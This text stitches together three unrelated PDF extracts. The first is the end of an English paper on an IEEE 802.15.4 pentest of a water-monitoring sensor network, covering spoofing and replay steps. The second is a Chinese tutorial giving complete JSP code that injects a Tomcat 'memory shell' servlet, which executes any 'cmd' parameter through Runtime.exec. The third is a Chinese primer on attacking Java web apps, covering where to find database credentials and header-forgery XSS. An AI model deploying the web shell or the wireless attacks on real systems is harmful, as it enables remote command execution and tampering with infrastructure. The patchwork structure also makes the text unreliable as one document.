only when the chosen security suite does not cover integrity but only confidentiality. It is worth noting that the new IEEE 802.15.4 Scapy layer we have developed (see section 2.2 for details) can forge secured frames by using either a given encryption key or a given list of keystreams with their corresponding frame counters (which must be provided by the user). 6. TYPICAL APPLICATION In this section, we talk about a penetration test that we conducted, relying on the ARSEN tools, on a wireless communication infrastructure dedicated to the monitoring of a water distribution network system (see Figure 4). The goal of this infrastructure was to capture information about multiple continuous water pipes by means of electrochemical and optical sensors. It is worth noting that the sensors were powered by microturbines embedded within the water pipes nearby. The objective behind this infrastructure is to provide useful information to field technicians and to supply a large volume of data to a distributed water management system. On that aspect, the wireless communications relied on the IEEE 802.15.4 standard to build a star network and on the 6LoWPAN and UDP protocols to transport the actual information. Figure 4. Two smart sensors from the wireless monitoring infrastructure As previously stated, the goal of the ARSEN project is to provide security auditors with the means to connect their computer to an existing 6LoWPAN network no matter what the configuration of the underlying IEEE 802.15.4 infrastructure is. Upon reaching this goal, a standard penetration testing methodology may be applied, which is out of the scope of this paper. That is why, in the rest of this section, we will focus on the audit of the IEEE 802.15.4 star network which had three objectives:  Identifying the configuration of the IEEE 802.15.4 infrastructure;  Identifying and exploit potential MAC-sublayer vulnerabilities;  If possible, associate with the IEEE 802.15.4 star network; 6.1 INFORMATION GATHERING Note that from now on, we will only cover the two smart sensors which we were close by (see Figure 4). We started the audit by searching for activities on all IEEE 802.15.4 channels using the ARSEN scanner. It showed that channel 18 was used for transmission. Then, we started capturing IEEE 802.15.4 frames on this specific channel. Based on the output of the ARSEN scanner (see Figure 5), we were able to infer the following information:  Each sensor is exclusively communicating with the only PAN coordinator, thus confirming the star topology;  This is a beacon-enabled PAN and the PAN coordinator transmits nothing but beacons;  According to the frame version, the infrastructure is based on the IEEE 802.15.4-2006 standard;  The sensors are securing their outgoing frame and are transmitting data using direct transmissions;  The PAN coordinator does not allocate GTS; Figure 5. Output from the ARSEN scanner while scanning channel 18 Transmitter0: beacon_enabled=0x1 pan_coord=0x1 coord=0x1 gts=0x0 panid=0xabba short_addr=0xde00 Transmitter1: short_addr=0xde02 panid=0xabba Destination0: security_enabled=0x1 frame_version=0x1L short_addr=0xde00 coord=0x1 command=0x0 panid=0xabba data=0x5 pan_coord=0x1 Transmitter2: short_addr=0xde01 panid=0xabba Destination0: security_enabled=0x1 frame_version=0x1L short_addr=0xde00 coord=0x1 command=0x0 panid=0xabba data=0x4 pan_coord=0x1 Note that, as shown by the scanner output in Figure 5, we could not get the long addresses of the sensors as they only use short addresses to communicate, implying that they rely on a mapping mechanism to get the long addresses from the short ones, notably with secured frames. 6.2 SYNCHRONIZATION STATE However, we found out that by flooding the sensors it was quite easy to make them loose synchronization with the PAN coordinator. In fact, based on a trial and error approach, we were able to determine that sensors are tracking periodic beacons and, when receiving a lot of frames, they cannot acquire the expected beacons in time, giving rise to a synchronization-loss state. As a result, by capturing IEEE 802.15.4 frames after forcing the resynchronization of sensors, we were able to acquire the complete addressing information (see Figure 6). Figure 6. Output from the ARSEN scanner while forcing resynchronization Transmitter0: beacon_enabled=0x1 pan_coord=0x1 coord=0x1 long_addr=0x158d000053da9d gts=0x0 panid=0xabba short_addr=0xde00 Destination0: frame_version=0x0L short_addr=0xde01 command=0x1 panid=0xabba data=0x0 long_addr=0x158d00005405a6 Destination1: frame_version=0x0L short_addr=0xde02 command=0x1 panid=0xabba data=0x0 long_addr=0x158d0000540591 Transmitter1: short_addr=0xde01 panid=0xabba long_addr=0x158d00005405a6 Destination0: security_enabled=0x1 frame_version=0x1L short_addr=0xde00 coord=0x1 long_addr=0x158d000053da9d command=0x2 panid=0xabba data=0x5 pan_coord=0x1 Transmitter2: short_addr=0xde02 panid=0xabba long_addr=0x158d0000540591 Destination0: security_enabled=0x1 frame_version=0x1L short_addr=0xde00 coord=0x1 command=0x2 panid=0xabba data=0x5 long_addr=0x158d000053da9d pan_coord=0x1 It is worth mentioning that this is an important step because long addresses are part of the security material of the IEEE 802.15.4 standard to secure and unsecure frames. Nonetheless, short source addresses should not be discarded because when they are used to transmit secured and, more precisely, authenticated frames, they are part of the data on which the MIC is computed. 6.3 ASSOCIATION PROCEDURE At this point, since we were able to force the resynchronization of sensors, we decided to focus on the association procedure. By analyzing the IEEE 802.15.4 frames exchanged between the PAN coordinator and the sensors during an association procedure, we found out that they are not secured (security level 0). In fact, the security is only applied to frames once the sensors are associated with the PAN coordinator. From there, by mimicking a sensor while requesting the PAN coordinator for association, we also found out that the PAN coordinator did not implement any higher-layer authentication mechanism. In fact, any of the 64 bits extended address we used in requests was accepted by the PAN coordinator. Moreover, by combining multiple forced resynchronizations and spoofed associations, we could infer that the PAN coordinator was always assigning short address 0xde01 to the first device requesting association, 0xde02 to the second one and so on. Then, we searched for activities on all IEEE 802.15.4 channels after the sensors were forcibly desynchronized. This lead to an important discovery: the sensors perform active scanning on channels 11 to 26. Precisely, for each of these channels, they send a beacon request command and wait for beacons. If answered, they start an association procedure, if not, they move on to the next channel. If they are not associated with a PAN coordinator after probing channel 26, they reboot and start scanning again. This process is repeated indefinitely until a PAN coordinator is found. This means that if we continuously prevent synchronization on channel 18, we can forcibly reboot the sensors. Following this, by forcing the resynchronization of sensors while mimicking a PAN coordinator sending periodic beacons on a channel below 18, we could infer that the sensors were checking the addressing information of our beacons before starting the association procedure. In fact, based on a trial and error approach, we found out that the sensors were both checking the short address and the PANId of incoming beacons. Thus, if this addressing information does not match the one from the real PAN coordinator, the association procedure is not triggered. That being said, this authentication process can be bypassed simply by properly spoofing the legitimate PAN coordinator since, as previously stated, the association procedure does not rely on secured frames. Finally, after forcing both sensors to associate with our fake PAN coordinator, we found out that if the real PAN coordinator does not receive data frames from the sensors for more than five minutes, it stops sending beacons for a finite period of time. We thus thought of the most probable explanation: assuming a possible failure because of the lack of incoming data, the PAN coordinator reboots to ensure service continuity. If true, this meant that we had now the capability to forcibly reboot all devices: the PAN coordinator and the sensors. 6.4 FRAMES COUNTERS Assuming that we were now able to forcibly reboot both the PAN coordinator and the sensors, we decided to focus on the frame counters. 6.4.1 INCOMING FRAME COUNTERS The incoming frame counter is part of the security material in the IEEE 802.15.4 standard and is used to ensure the sequential freshness of incoming frames. More precisely, for each known device, a given device stores an incoming frame counter that represents the last received frame counter. During the incoming frame procedure, the recipient device shall reject the received frame if the new frame counter is less than the last received frame counter. Otherwise the incoming frame counter is updated accordingly and the new incoming frame is processed. This mechanism is used to prevent replay attacks. We have been able to demonstrate that the incoming frame counters were reset to zero after the PAN coordinator has rebooted by performing the following procedure: 1. Force disassociation between the sensors and the PAN coordinator; 2. Capture the following association procedures to infer the addressing information (i.e., both short and long addresses); 3. Capture the network activity for a period long enough to catch a least one outgoing secured data frame for each sensors; 4. Spoof the PAN coordinator but with periodic beacons sent on a channel below 18; 5. Force disassociation again between the sensors and the PAN coordinator; 6. Verify that the sensors are now associated with the fake PAN coordinator; 7. Wait for the beacons from the real PAN coordinator to stop (i.e., wait for 5 minutes); 8. Spoof sensors by requesting association with the real PAN coordinator on channel 18 while meeting the addressing information capture at step 2 (i.e., associate the fake sensors in the correct order so as to match the short addresses previously assigned); 9. For both fake sensors, replay secured packets captured at step 3; 10. Observe that this time the beacons from the real PAN coordinator do not stop after 5 minutes; If the beacons from the real PAN coordinator in fact do not stop after 5 minutes, it means that the replayed frames were actually accepted. Consequently, it also means that the incoming frame counters have been reset to zero, confirming by the way that the PAN coordinator actually reboots in this situation. Failing to store the frame counters in non-volatile memory is a security issue we have encountered several times on actual security audits. In this particular case, a possible attack scenario would be malicious individuals replaying secured frames, thus persuading the distributed water management system of a normal activity, while contaminating the water. This is an important finding as this scenario we just considered was one on the major undesired events identified by the stakeholders behind this security audit. 6.4.2 OUTGOING FRAME COUNTERS Similarly, the outgoing frame counter is part of the security material of the IEEE 802.15.4 standard as it is used by the originator device to secure outgoing frames. More precisely, it is used to construct the nonce. As it is required by recipient device during the unsecuring procedure, it is always included in the MAC header of each secured frame. For a given originator, this counter is incremented by one each time a frame is secured. This mechanism ensures that the keying material for every frame is unique. When the frame counter reaches is maximum value of 0xffffffff the associated keying material can no longer be used, thus requiring the corresponding key to be updated. By comparing the header of secured frame emitted by a sensor before forcing a reboot (see Figure 7) and after forcing a reboot (see Figure 8), we could easily infer that the outgoing frame counters were also reset to zero upon the reboot of a sensor (in the following example, it went from 0x26000000 to 0x0). Again, failing to store the frame counters in non-volatile memory is a security issue we have encountered several times on actual security audits. This time, it opens up the possibility of conducting same-nonce attacks (see section 5.1 for details) and thus may lead to confidentiality issues. However, in this particular case, confidentiality was not considered a high priority compared to integrity and availability issues. That being said, we had already demonstrated in section 6.4.1 how to compromise both integrity and availability. Figure 7. Dissected IEEE 802.15.4 header of a secured frame before forcing a sensor to reboot >>> p[44].show() ###[ Gnuradio header ]### proto= 2 reserved1= 0x0 reserved2= 0 ###[ 802.15.4 ]### fcf_reserved_1= 0L fcf_panidcompress= True fcf_ackreq= True fcf_pending= False fcf_security= True fcf_frametype= Data fcf_srcaddrmode= Short fcf_framever= 1L fcf_destaddrmode= Short fcf_reserved_2= 0L seqnum= 189 ###[ 802.15.4 Data ]### dest_panid= 0xabba dest_addr= 0xde00 src_addr= 0xde01 ###[ 802.15.4-2006 Auxiliary Security Header ]### sec_sc_reserved= 0L sec_sc_keyidmode= 1oKeyIndex sec_sc_seclevel= ENC-MIC-32 sec_framecounter= 0x26000000 sec_keyid_keyindex= 0x1 Figure 8. Dissected IEEE 802.15.4 header of a secured frame after forcing a sensor to reboot >>> p[204].show() ###[ Gnuradio header ]### proto= 2 reserved1= 0x0 reserved2= 0 ###[ 802.15.4 ]### fcf_reserved_1= 0L fcf_panidcompress= True fcf_ackreq= True fcf_pending= False fcf_security= True fcf_frametype= Data fcf_srcaddrmode= Short fcf_framever= 1L fcf_destaddrmode= Short fcf_reserved_2= 0L seqnum= 129 ###[ 802.15.4 Data ]### dest_panid= 0xabba dest_addr= 0xde00 src_addr= 0xde01 ###[ 802.15.4-2006 Auxiliary Security Header ]### sec_sc_reserved= 0L sec_sc_keyidmode= 1oKeyIndex sec_sc_seclevel= ENC-MIC-32 sec_framecounter= 0x0 sec_keyid_keyindex= 0x1 6.5 SECURED FRAMES To compromise integrity one step further, instead of replaying captured frames, we need to be able to forge new ones. This may be possible using a malleability attack (see section 5.3 for details). However, this would require two things: first, implementing the same-nonce attack on a scale large enough to gather the appropriate amount of keystreams and secondly, being able to downgrade security to encryption-only (it is not possible to forge a MIC with a keystream). Regarding the same-nonce attack, limited by time and resources and in agreement with the stakeholders, we moved to a “gray-box” approach and we were provided with the plaintext data of multiple captured secured frames. With a reasonable amount of keystreams that could be used after forcing the reboot of the PAN coordinator (we had to force a reboot each time we used them all), we were able to see that forged encryption-only frames were accepted by the PAN coordinator. We then had all we needed to use the border router and start auditing upper-layer protocols. That was the purpose of the ARSEN project but, upon achievement of this goal, the continuation of this audit consisted in using standard penetration testing tools which is out of the scope of this paper. It is worth noting that, on other security audits, we were able to extract the firmware and access encryption keys. This is usually the preferred and easiest way of gaining the capability to forge secured frames. In this case, this approach was explicitly discarded by the stakeholders. 7. CONCLUSION In this paper, we have presented the ARSEN project: Advanced Routing for 6LoWPAN and Ethernet Networks. To that end, we have detailed all the mechanisms we have implemented in order to provide security auditors with the means to connect to any existing 6LoWPAN networks by supporting a wide range of IEEE 802.15.4 configurations and MAC-sublayer attacks. Then, we have demonstrated its capabilities on an actual wireless communication infrastructure dedicated to the monitoring of a water distribution network system. As for future work, it is worth noting that, initially, the ARSEN project was about developing a fully customizable IEEE 802.15.4 / 6LoWPAN network interface over Ethernet. We moved to a software-only project based on Scapy-radio because of time constraints but at the cost high latencies and expensive SDR hardware. Now that our approach has shown its usefulness on actual security audits, we plan on resuming the hardware implementation using a cheap off-the-shelf system-on-chip solution. 8. ACKNOWLEDGMENT This work was conducted by Airbus Defence and Space and was funded by ACQUEAU, the Eureka Cluster for Water, under grant from WIN4SMART (Water Information Network for Sensing, Monitoring & Actuating in Real Time) and by ITEA, the Eureka Cluster for Software-intensive Systems & Services, under grant from FUSE-IT (Future Unified System for Energy and Information Technology). 9. REFERENCES [1] IEEE Std 802.15.4-2003, IEEE Standard for Local and Metropolitan Area Networks, Part 15.4: Wireless Medium Access Control (MAC) and Physical Layer (PHY) Specifications for Low-Rate Wireless Personal Area Networks (LR-WPANs). [2] IEEE Std 802.15.4-2006, IEEE Standard for Local and Metropolitan Area Networks, Part 15.4: Wireless Medium Access Control (MAC) and Physical Layer (PHY) Specifications for Low-Rate Wireless Personal Area Networks (LR-WPANs). [3] IEEE Std 802.15.4-2011, IEEE Standard for Local and Metropolitan Area Networks, Part 15.4: Wireless Medium Access Control (MAC) and Physical Layer (PHY) Specifications for Low-Rate Wireless Personal Area Networks (LR-WPANs). [4] IEEE Std 802.15.4e-2012, IEEE Standard for Local and Metropolitan Area Networks, Part 15.4: Low-Rate Wireless Personal Area Networks (LR-WPANs) Amendment 1: MAC Sublayer. [5] V. B. Mišić, J. Fung and J. Mišić, MAC Layer Attacks in 802.15.4 Sensor Networks, in Security in Sensor Networks, 2006, pp.27-46. [6] R. Sokullu, O. Dagdeviren et al., GTS attack: An IEEE 802.15.4 MAC Layer Attack in Wireless Sensor Networks, in the International Journal on Advances in Internet Technology, 2009, pp.105-116. [7] J.-M. Picod, A. Lebrun, J.-C. Demay, Bringing Software Defined Radio to the Penetration Testing Community, Black Hat USA, 2014. [8] http://gnuradio.org/redmine/projects/gnuradio/wiki [9] http://secdev.org/projects/scapy
pdf
Servlet内存马 分类 filter 内存马是 servlet-api 内存马下的一种,也是通过接口方法动态注册 tomcat 组件。 直接查看 org.apache.catalina.core.ApplicationContext#addServlet 源代码 private ServletRegistration.Dynamic addServlet(String servletName, String servletClass,            Servlet servlet, Map<String,String> initParams) throws IllegalStateException {        if (servletName == null || servletName.equals("")) {  //判断servlet名称不能 为空            throw new IllegalArgumentException(sm.getString(                    "applicationContext.invalidServletName", servletName));       }        if (!context.getState().equals(LifecycleState.STARTING_PREP)) {  //判断程 序应用状态            //TODO Spec breaking enhancement to ignore this restriction            throw new IllegalStateException(                    sm.getString("applicationContext.addServlet.ise",                            getContextPath()));       }        Wrapper wrapper = (Wrapper) context.findChild(servletName); //从child中寻 找servlet,并转换为wrapper        // Assume a 'complete' ServletRegistration is one that has a class and        // a name        if (wrapper == null) {   //如果wrapper空,则手动创建wrapper            wrapper = context.createWrapper();            wrapper.setName(servletName);            context.addChild(wrapper);  //将servlet加入到child里面       } else {            if (wrapper.getName() != null &&                    wrapper.getServletClass() != null) {                if (wrapper.isOverridable()) {                    wrapper.setOverridable(false);               } else {                    return null;               }           }       }        ServletSecurity annotation = null;        if (servlet == null) {  //设置servlet类            wrapper.setServletClass(servletClass);            Class<?> clazz = Introspection.loadClass(context, servletClass);            if (clazz != null) {                annotation = clazz.getAnnotation(ServletSecurity.class);           } 通过上面的代码已经能够知道 addServlet 方法的基本工作流程了。之后我们可以模拟该过程用于 注入一个自定义的 servlet 。之后还要解决的一个问题就是 servlet 的路由问题。 关于 servlet 的路由问题需要回到 tomcat 源码中,关于 servlet 的 mapping 信息的初始化在 tomcat 启动过程中就已经完成了。之后访问 servlet 的过程中是从已有的 mappingdata 中获取 路由相关信息,进行处理 而在初始话的过程中,这个过程位于 org.apache.catalina.core.StandardContext#addServletMappingDecoded 方法       } else {            wrapper.setServletClass(servlet.getClass().getName());            wrapper.setServlet(servlet);            if (context.wasCreatedDynamicServlet(servlet)) {                annotation = servlet.getClass().getAnnotation(ServletSecurity.class);           }       }        if (initParams != null) {  //参数            for (Map.Entry<String, String> initParam: initParams.entrySet()) {                wrapper.addInitParameter(initParam.getKey(), initParam.getValue());           }       }        ServletRegistration.Dynamic registration =                new ApplicationServletRegistration(wrapper, context);  //创建对象 ApplicationServletRegistration并返回        if (annotation != null) {            registration.setServletSecurity(new ServletSecurityElement(annotation));       }        return registration;   } 而调用的入口是 org.apache.catalina.startup.ContextConfig#webConfig -- > org.apache.catalina.startup.ContextConfig#configureContext 此处是一个 web.xml 的解析功能,将 web.xml 文件进行解析,读取里面注册的 servlet 和 servlet-mapping ,之后将数据存入 servletMappings 这个 HashMap 里面。 知道这两点之后应该就可以进行 servlet 的注册了。上代码吧。 <%@ page import="java.text.DateFormat" %> <%@ page import="java.text.SimpleDateFormat" %> <%@ page import="java.util.Date" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="javax.servlet.annotation.ServletSecurity" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.catalina.core.ApplicationServletRegistration" %> <%@ page import="java.util.HashMap" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head>  <title>测试页面</title> </head> <body> <%  DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  String dateStr = dateFormat.format(new Date()); %> This is index.jsp <br/> <%= dateStr %> <%    ServletContext servletContext = request.getSession().getServletContext();    Field context = servletContext.getClass().getDeclaredField("context");    context.setAccessible(true);    ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext);    Field context1 = ApplicationContext.getClass().getDeclaredField("context");    context1.setAccessible(true);    StandardContext standardContext =(StandardContext) context1.get(ApplicationContext);    String servletName="addServlet_";    Wrapper wrapper = (Wrapper) standardContext.findChild(servletName);    // Assume a 'complete' ServletRegistration is one that has a class and    // a name    if (wrapper == null) {        wrapper = standardContext.createWrapper();        wrapper.setName(servletName);        standardContext.addChild(wrapper);   }else{        out.println("servlet已经被注册");   }    ServletSecurity annotation = null;    HttpServlet httpServlet = new HttpServlet() {        @Override        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {            String cmd = req.getParameter("cmd");            resp.getWriter().println(cmd);            if(cmd!=null && !cmd.equals("")){                Runtime runtime = Runtime.getRuntime();                InputStream inputStream = runtime.exec(cmd).getInputStream();                ByteArrayOutputStream outputStream = new ByteArrayOutputStream();                byte[] bytes = new byte[1024];                int a=-1;                while ((a=inputStream.read(bytes))!=-1){                    outputStream.write(bytes,0,a);               }                resp.getWriter().println(new String(outputStream.toByteArray()));           }else{                resp.getWriter().println(">||<");           }       }        @Override        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {            this.doGet(req, resp);       }   };    wrapper.setServletClass(httpServlet.getClass().getName());    wrapper.setServlet(httpServlet);    if (standardContext.wasCreatedDynamicServlet(httpServlet)) {        annotation = httpServlet.getClass().getAnnotation(ServletSecurity.class);   } 访问 index.jsp 注入内存马 访问注入好的 servlet    ServletRegistration.Dynamic registration =            new ApplicationServletRegistration(wrapper, standardContext);    if (annotation != null) {        registration.setServletSecurity(new ServletSecurityElement(annotation));   }    standardContext.addServletMapping("/addServlet",servletName); %> </body> </html>
pdf
1 攻击 JavaWeb 应用 [JavaWeb 安全系列] 园长 MM [2013-07-04] 第 2 页 攻击 JavaWeb 应用[1] -JavaEE 基础 -园长 MM 注:本节仅让大家简单的了解 Java 一些相关知识,简要介绍了下 JavaWeb 结构和 servlet 容器以及怎么样去快速找到敏 感信息,后面的章节也是建立在此基础上。本人从未从事过网络安全行业,技术不精文中肯定有很多的错误或者不足之 处,欢迎指正,THX! 1、JavaEE 基础 JSP: 全名为 java server page,其根本是一个简化的 Servlet 设计。 Servlet:Servlet 是一种服务器端的 Java 应用程序,可以生成动态的 Web 页面。 JavaEE: JavaEE 是 J2EE 新的名称。改名目的是让大家清楚 J2EE 只是 Java 企业应用。 什么叫 Jsp 什么叫 Java 我真的非常让大家搞清楚!拜托别一上来就来一句:“前几天 我搞了一个 jsp 的服务器,可难吭了”。请大家分清楚什么是 jsp 什么是 JavaEE! Java 平台结构图: 第 3 页 可以看到 Java 平台非常的庞大,而开发者的分化为: 列举这两个图的原因就是让你知道你看到的 JSP 不过是冰山一角,Jsp 技术不过是 Java 初级开发人员必备的技术而已。 我今天要讲的就是 Java 树的最下面的两层了,也是初级工程师需要掌握的东西。 第 4 页 Web 请求与相应简要的流程: 这是一个典型的就是客户端发送一个 HTTP 请求到服务器端,服务器端接收到请求并 处理、响应的一个过程。 如果请求的是 JSP,tomcat 会把我们的 JSP 编译成 Servlet 也就是一个普通的 Java 类。 其实 JSP 是 Servlet 的一种特殊形式,每个 JSP 页面就是一个 Servlet 实例。Servlet 又是一 个普通的 Java 类它编译后就是一个普通的 class 文件。 这是一个普通的 jsp 脚本页面,因为我只用 JSP 来作为展示层仅仅做了简单的后端数据 的页面展示: 第 5 页 上图可以非常清晰的看到通常的 Jsp 在项目中的地位并不如我们大多数人所想的那么 重要,甚至是可有可无!因为我们完全可以用其他的东西来代替 JSP 作为前端展示层。 我们来看一下这个页面编译成 class 后是什么样子: 你会发现你根本就看不懂这个 class 文件,因为这是字节码文件我们根本就没法看。通 过我们的 TOMCAT 编译后他编程了一个 Java 类文件保存在 Tomcat 的 work 目录下。 文 件 目 录 : C:\apache-tomcat-7.0.34\work\Catalina\localhost\ 你 的 项 目 名 \org\apache\jsp 我们只要打开 index_jsp.java 或者用 jd-gui(Java 反编译工具)打开就行了: 第 6 页 有人说这是 Servlet 吗?当然了。 继承 HttpJspBase 类,该类其实是个 HttpServlet 的子类(jasper 是 tomcat 的 jsp engine)。 Jsp 有着比 Servlet 更加优越的展现,很多初学 PHP 的人恐怕很难把视图和逻辑分开吧。比 如之前在写 PHPSQL 注入测试的 DEMO: 第 7 页 这代码看起来似乎没有什么大的问题,也能正确的跑起来啊会有什么问题呢?原因很简 单这属于典型的展现和业务逻辑没有分开!这和写得烂的 Servlet 差不多! 说了这么多,很多人会觉得 Servlet 很抽象。我们还是连创建一个 Servlet 吧: 创建成功后会自动的往 web.xml 里面写入: 第 8 页 其实就是一个映射的 URL 和一个处理映射的类的路径。而我们自动生成的 Java 类精简后大 致是这个样子: 请求响应输出内容: 熟悉 PHP 的大神们这里就不做解释了哦。 第 9 页 了解了 Jsp、Servlet 我们再来非常简单的看一下 JavaWeb 应用是怎样跑起来的。 加载 web.xml 的配置然后从配置里面获取各种信息为 WEB 应用启动准备。 科普:C:\apache-tomcat-7.0.34\webapps\下默认是部署的 Web 项目。webapps 下 的文件夹就是你的项目名了,而项目下的 WebRoot 一般就是网站的根目录了,WebRoot 下的文件夹 WEB-INF 默认是不让 Web 访问的。 2、如何找到数据源 大家可能都非常关心数据库连接一般都配置在什么地方呢? 答 案 普 遍 是 : C:\apache-tomcat-7.0.34\webapps\wordpress\WEB-INF 下 的 ***.xml 大多数的 Spring 框架都是配置在 applicationContext 里面的: 第 10 页 如果用到 Hibernate 框架那么:WebRoot\WEB-INF\hibernate.cfg.xml 还有一种变态+SB 的配置方式就是直接卸载源代码里面: Tomcat 的数据源(其他的服务器大同小异): 目录:C:\apache-tomcat-7.0.34\conf\context.xml 第 11 页 Resin 数据源: 路径:D:\install\Dev\resin-pro-4.0.28\conf\resin.conf 第 12 页 其他的配置方式诸如读取如 JEECMS 读取的就是.properties 配置文件,这种方式非常的常 见: 一般情况下 Java 的数据库配置都在 WEBROOT 下的 WEB-INF 目录下的多数情况在 **.xml、**.properties、**.conf 初级就弄个最简单的给大家讲下咯。 第 13 页 3、Tomcat 基础 没错,这就是 TOM 猫。楼主跟这只猫打交道已经有好几年了,在 Java 应用当中 TOMCAT 运用的非常的广泛。TOM 猫是一个 Web 应用服务器,也是 Servlet 容器。 Apache+Tomcat 做负载均衡: 如何快速的找到 tomcat 的安装路径(以下是解答法克论坛基友的提问): 1、不管是谁都应该明白的是不管 apache 还是 tomcat 安装的路径都是随意的,所以找不到 路径也是非常正常的。 2、在你的/etc/httpd/conf/httpd.conf 里面会有一个 LoadModule jk_module 配置用于集成 tomcat 然后找到 JkWorkersFile 也就是 tomcat 的配置,找到.properties 的路径。httpd 里面 也有可能会配置路径如果没有找到那就去 apache2\conf\extra\httpd-vhosts 看下有没有配 置域名绑定。 3、在第二步的时候找到了 properties 配置文件并读取,找到 workers.tomcat_home 也就是 tomcat 的配置路径了。 4、得到 tomcat 的路径你还没有成功,域名的具体配置是在 conf 下的 server.xml。 5、读取 server.xml 不出意外你就可以找到网站的目录了。 6、如果第五步没有找到那么去 webapps 目录下 ROOT 瞧瞧默认不配置的话网站是部署在 ROOT 下的。 7、这一点是附加的科普知识爱听则听:数据库如果启用的 tomcat 有可能会采用 tomcat 的 数据源配置未见为 conf 下的 context.xml、server.xml。如果网站有域名绑定那么你可以试 下 ping 域名然后带上端口访问。有可能会出现 tomcat 的登录界面。tomcat 默认是没有配 第 14 页 置用户登录的,所以当 tomcat-users.xml 下没有相关的用户配置就别在这里浪费时间了。 8、如果配置未找到那么到网站目录下的 WEB-INF 目录和其下的 classes 目录下找下对应的 properties、xml(一般都是 properties)。 9、如果你够蛋疼可以读取 WEB.XML 下的 classess 内的源码。 10、祝你好运。 4、Resin apache APACHE RESIN 做负载均衡,Resin 用来做 JAVAWEB 的支持,APACHE 用于处理 静态和 PHP 请求,RESIN 的速度飞快,RESIN 和 apache 的配合应该是比较完美的吧。 域名解析: apache 的 httpd.conf: 需要修改:Include conf/extra/httpd-vhosts.conf(一定要把前面的#除掉,否则配置不起作 用) 普通的域名绑定: 直接添加到 httpd.conf <VirtualHost *:80> ServerAdmin admin@bjcyw.cn DocumentRoot E:/XXXX/XXX ServerName beijingcanyinwang.com ErrorLog E:/XXXX/XXX/bssn-error_log CustomLog E:/XXXX/XXX/bssn_log common </VirtualHost> 二级域名绑定,需要修改: E:\install\apache2\conf\extra\httpd-vhosts.conf 如: <VirtualHost *:80> DocumentRoot E:/XXXXXXX/XXX ServerName bbs.beijingcanyinwang.com DirectoryIndex index.html index.php index.htm </VirtualHost> 第 15 页 Resin 的 请求处理: <LocationMatch (.*?).jsp> SetHandler caucho-request </LocationMatch> 第 16 页 <LocationMatch (.*?).action> SetHandler caucho-request </LocationMatch> <LocationMatch union-resin-stat-davic> SetHandler caucho-request </LocationMatch> <LocationMatch stat> SetHandler caucho-request </LocationMatch> <LocationMatch load> SetHandler caucho-request </LocationMatch> <LocationMatch vote> SetHandler caucho-request </LocationMatch> APACHE 添加对 Resin 的支持: LoadModule caucho_module "E:/install/resin-pro-3.1.12/win32/apache-2.2/mod_caucho. dll" 然后在末尾加上:<IfModule mod_caucho.c> ResinConfigServer localhost 6800 第 17 页 CauchoStatus yes </IfModule> 只有就能让 apache 找到 resin 了。 PHP 支持问题: resin 默认是支持 PHP 的测试 4.0.29 的时候就算你把 PHP 解析的 servlet 配置删了一样解析 PHP,无奈换成了 resin 3.1 在注释掉 PHP 的 servlet 配置就无压力了。 整合成功后: 第 18 页 攻击 JavaWeb 应用[2] - CS 交互安全 -园长 MM 注: 本节意在让大家了解客户端和服务器端的一个交互的过程,我个人不喜欢 xss,对 xss 知之甚少所以只能简要的讲解 下。这一节主要包含 HttpServletRequest、HttpServletResponse、session、cookie、HttpOnly 和 xss,文章是年前几天写 的本应该是有续集的但年后就没什么时间去接着续写了。由于工作并非安全行业,所以写的并不算专业希望大家能够理 解。后面的章节可能会有 Java 里的 SQL 注入、Servlet 容器相关、Java 的框架问题、eclipse 代码审计等。 1、Request & Response(请求与响应) 请求和响应在 Web 开发当中没有语言之分不管是 ASP、PHP、ASPX 还是 JAVAEE 也好, Web 服务的核心应该是一样的。在我看来 Web 开发最为核心也是最为基础的东西就是 Request 和 Response!我们的 Web 应用最终都是面向用户的,而请求和响应完成了客户 端和服务器端的交互。服务器的工作主要是围绕着客户端的请求与响应的。 如下图我们通过 Tamper data 拦截请求后可以从请求头中清晰的看到发出请求的客户 端请求的地址为:localhost。浏览器为 FireFox,操作系统为 Win7 等信息,这些是客户端的 请求行为,也就是 Request。 当客户端发送一个 Http 请求到达服务器端之后,服务器端会接受到客户端提交的请求 信息(HttpServletRequest),然后进行处理并返回处理结果(HttpServletResopnse)。 下图演示了服务器接收到客户端发送的请求头里面包含的信息: 第 19 页 页面输出的内容为: host=localhost user-agent=Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0 accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language=zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 accept-encoding=gzip, deflate connection=keep-alive 请求头信息伪造 XSS 关于伪造问题我是这样理解的:发送 Http 请求是客户端的主动行为,服务器端通过 ServerSocket 监听并按照 Http 协议去解析客户端的请求行为。所以请求头当中的信息可能 并不一定遵循标准 Http 协议。 用FireFox 的Tamper Data和Moify Headers(FireFox 扩展中心搜Headers 和Tamper Data 第 20 页 都能找到) 插件修改下就实现了,请先安装 FireFox 和 Tamper Data: 点击 Start Tamper 然后请求 Web 页面,会发现请求已经被 Tamper Data 拦截下来了。 选择 Tamper: 第 21 页 修改请求头信息: Servlet Request 接受到的请求: Enumeration e = request.getHeaderNames(); while (e.hasMoreElements()) { String name = (String) e.nextElement();//获取key String value = request.getHeader(name);//得到对应的值 out.println(name + "=" + value + "<br>");//输出如cookie=123 } 第 22 页 源码下载:http://pan.baidu.com/share/link?shareid=166499&uk=2332775740 使用 Moify Headers 自定义的修改 Headers: 第 23 页 修改请求头的作用是在某些业务逻辑下程序猿需要去记录用户的请求头信息到数据库, 而通过伪造的请求头一旦到了数据库可能造成 xss,或者在未到数据库的时候就造成了 SQL 注入,因为对于程序员来说,大多数人认为一般从 Headers 里面取出来的数据是安全可靠 的,可以放心的拼 SQL(记得好像 Discuz 有这样一个漏洞)。今年一月份的时候我发现 xss.tw 也有一个这样的经典案例,Wdot 那哥们在记录用户的请求头信息的时候没有去转意特殊的 